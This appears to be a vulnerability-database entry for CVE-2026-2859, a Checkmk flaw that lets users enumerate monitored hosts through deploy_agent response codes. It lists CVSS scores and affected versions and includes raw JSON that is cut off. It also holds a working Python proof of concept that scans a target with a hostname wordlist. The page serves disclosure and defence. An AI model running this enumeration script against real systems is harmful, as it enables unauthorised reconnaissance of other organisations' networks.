Security Vulnerability Report
中文
CVE-2026-2859 CVSS 4.3 MEDIUM

CVE-2026-2859

Published: 2026-03-13 19:54:34
Last Modified: 2026-03-18 13:23:32

Description

Improper permission enforcement in Checkmk versions 2.4.0 before 2.4.0p23, 2.3.0 before 2.3.0p43, and 2.2.0 (EOL) allows unauthenticated users to enumerate existing hosts by observing different HTTP response codes in deploy_agent endpoint, which could lead to information disclosure.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:checkmk:checkmk:2.2.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:b1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:b2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:b3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:checkmk:checkmk:2.2.0:b4:*:*:*:*:*:* - VULNERABLE
Checkmk 2.4.0 - 2.4.0p22
Checkmk 2.3.0 - 2.3.0p42
Checkmk 2.2.0 (已停止维护)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-2859 PoC - Checkmk Host Enumeration via deploy_agent Endpoint This PoC demonstrates how an unauthenticated attacker can enumerate valid hostnames in Checkmk by observing different HTTP response codes. """ import requests import argparse import json import sys from concurrent.futures import ThreadPoolExecutor, as_completed def check_host(target_url, hostname): """ Check if a hostname exists in Checkmk by observing HTTP response codes. Returns True if host appears to exist, False otherwise. """ try: # Try the deploy_agent endpoint with the target hostname url = f"{target_url.rstrip('/')}/check_mk/deploy_agent.py" params = {'host': hostname} response = requests.get(url, params=params, timeout=10, verify=False) # Different response codes indicate host existence # 404 typically means host doesn't exist # 200 or other codes may indicate host exists if response.status_code == 404: return {'hostname': hostname, 'exists': False, 'status_code': 404} else: return {'hostname': hostname, 'exists': True, 'status_code': response.status_code} except requests.RequestException as e: return {'hostname': hostname, 'exists': None, 'error': str(e)} def enumerate_hosts(target_url, hostnames_file=None, wordlist=None): """ Enumerate hosts in Checkmk using a wordlist or file. """ # Default wordlist with common hostnames default_wordlist = [ 'localhost', 'server', 'server01', 'server02', 'webserver', 'dbserver', 'database', 'mail', 'proxy', 'firewall', 'router', 'switch', 'printer', 'monitor', 'gateway', 'backup', 'nas', 'vmware', 'esxi', 'hyperv', 'kvm', 'docker', 'kubernetes' ] if hostnames_file: try: with open(hostnames_file, 'r') as f: wordlist = [line.strip() for line in f if line.strip()] except Exception as e: print(f"Error reading file: {e}") wordlist = default_wordlist else: wordlist = wordlist or default_wordlist print(f"[*] Enumerating hosts on {target_url}") print(f"[*] Testing {len(wordlist)} hostnames...") found_hosts = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_host, target_url, host): host for host in wordlist} for future in as_completed(futures): result = future.result() if result['exists']: print(f"[+] Found host: {result['hostname']} (Status: {result['status_code']})") found_hosts.append(result) elif result['exists'] is False: print(f"[-] Not found: {result['hostname']}") print(f"\n[*] Enumeration complete. Found {len(found_hosts)} hosts.") return found_hosts if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2026-2859 Checkmk Host Enumeration PoC') parser.add_argument('-t', '--target', required=True, help='Target Checkmk URL') parser.add_argument('-f', '--file', help='File containing hostnames to test') parser.add_argument('-w', '--wordlist', nargs='+', help='Wordlist of hostnames') args = parser.parse_args() # Disable SSL warnings for testing requests.packages.urllib3.disable_warnings() results = enumerate_hosts(args.target, args.file, args.wordlist) # Save results to JSON output_file = 'cve_2026_2859_results.json' with open(output_file, 'w') as f: json.dump(results, f, indent=2) print(f"[*] Results saved to {output_file}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2859", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:34.227", "lastModified": "2026-03-18T13:23:32.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper permission enforcement in Checkmk versions 2.4.0 before 2.4.0p23, 2.3.0 before 2.3.0p43, and 2.2.0 (EOL) allows unauthenticated users to enumerate existing hosts by observing different HTTP response codes in deploy_agent endpoint, which could lead to information disclosure."}, {"lang": "es", "value": "Aplicación incorrecta de permisos en las versiones de Checkmk 2.4.0 anteriores a 2.4.0p23, 2.3.0 anteriores a 2.3.0p43 y 2.2.0 (EOL) permite a usuarios no autenticados enumerar hosts existentes al observar diferentes códigos de respuesta HTTP en el endpoint deploy_agent, lo que podría llevar a la revelación de información."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "C66704F1-0B5E-4B43-8748-987022F378F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b1:*:*:*:*:*:*", "matchCriteriaId": "B068974F-6F67-4CBB-B567-FCED86E28F22"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b2:*:*:*:*:*:*", "matchCriteriaId": "EA70F36A-EEF6-48DC-B15E-055D0DE8A052"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b3:*:*:*:*:*:*", "matchCriteriaId": "B2017F38-38DB-4E96-B34F-160BC731CBBE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b4:*:*:*:*:*:*", "matchCriteriaId": "0949F399-371B-409C-AF9F-32690D881440"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b5:*:*:*:*:*:*", "matchCriteriaId": "42E1E31A-B5CC-45F2-A2E5-3EEF735499BA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b6:*:*:*:*:*:*", "matchCriteriaId": "4B364FCA-500C-458E-B997-82CD0B1D24F9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b7:*:*:*:*:*:*", "matchCriteriaId": "0B32E657-917B-482B-B6A4-3D3746992A4F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b8:*:*:*:*:*:*", "matchCriteriaId": "2119C732-E024-4DA6-8E47-9E08E5E12602"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:i1:*:*:*:*:*:*", "matchCriteriaId": "4F0B99A8-A124-43BD-B8AA-EECC9112346F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p1:*:*:*:*:*:*", "matchCriteriaId": "3FB7221E-BE9F-4529-8E07-8AD547FA3208"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p10:*:*:*:*:*:*", "matchCriteriaId": "30A074AD-9499-46E3-AB67-D6CEE3AA01C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p11:*:*:*:*:*:*", "matchCriteriaId": "A8BD0240-A22B-4273-BD47-C35A8C12E127"}, {"vulnerable": t ... (truncated)